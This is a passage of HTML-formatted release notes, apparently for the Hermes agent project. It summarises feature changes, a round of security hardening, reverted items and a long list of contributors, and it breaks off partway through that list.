<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" 